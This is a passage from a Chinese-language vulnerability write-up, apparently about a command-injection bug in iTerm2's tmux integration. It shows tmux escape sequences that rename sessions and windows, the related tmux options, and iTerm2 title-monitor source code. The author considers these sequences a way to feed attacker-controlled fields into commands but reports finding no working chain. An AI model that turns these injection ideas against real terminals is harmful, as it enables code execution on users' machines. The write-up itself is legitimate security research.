initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">left</span></code>、 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="kwd" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">set</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">titles</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="kwd" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">string</span></code>的利用链也是同样原理。</p><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">关于Session name</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">一开始把目光放在了 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Escape</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">sequences</span></code>上，以为是自动触发的漏洞。但是怎么样都没办法找到利用点，不过应该只是我没找到...</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">根据文档</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Control</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> sequences </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> tmux </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">like \e</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span class="lit" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">title\\\e</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> modify the session name</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">printf </span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\e]0;title\\\e&#34;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">可以修改</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Session</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> name</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">为</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">title  </span><span class="com" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 需要先打开set-titles（set-option -g set-titles on）</span></code></span></span></p></li></ol></pre><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">     allow</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">rename </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">on </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">|</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> off</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Allow</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> programs </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> the pane to change the window name </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">using</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> a</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             terminal escape sequence </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">\ek</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">...</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">\e\\</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">).</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">printf </span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;\ekWindows_NAME\e\\&#34;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">可以自动修改窗口名，需要打开</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">allow</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">rename</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">我认为这一条线才是洞主演示视频中的自动触发的线，只要终端中打印了对应的 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Escape</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">sequences</span></code>则会触发修改字段，从而将攻击者修改的字段注入进命令中，可惜我并没有找到链。并且这条线需要用户开启对应设置。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=56eb2bd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMK77icqxcBVlm5JOuQd1SpfjSN4fL6FvLaWtNZxPd2WmYeHzlNLxVfXw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">首先也是Iterm轮询客户端的标题，进行自动更新:<br/></p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">void</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">installTmuxTitleMonitor </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_tmuxTitleMonitor</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    __weak __typeof</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> weakSelf </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    _tmuxTitleMonitor </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">iTermTmuxOptionMonitor alloc</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> initWithGateway</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_tmuxController</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">gateway</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                 scope</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">variablesScope</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                format</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;#{pane_title}&#34;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                target</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:[</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> stringWithFormat</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;%%%@&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">@(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">tmuxPane</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)]</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                          variableName</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">iTermVariableKeySessionTmuxPaneTitle</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                 block</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:^(</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_Nonnull</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> title</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                                                                     </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">title</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: 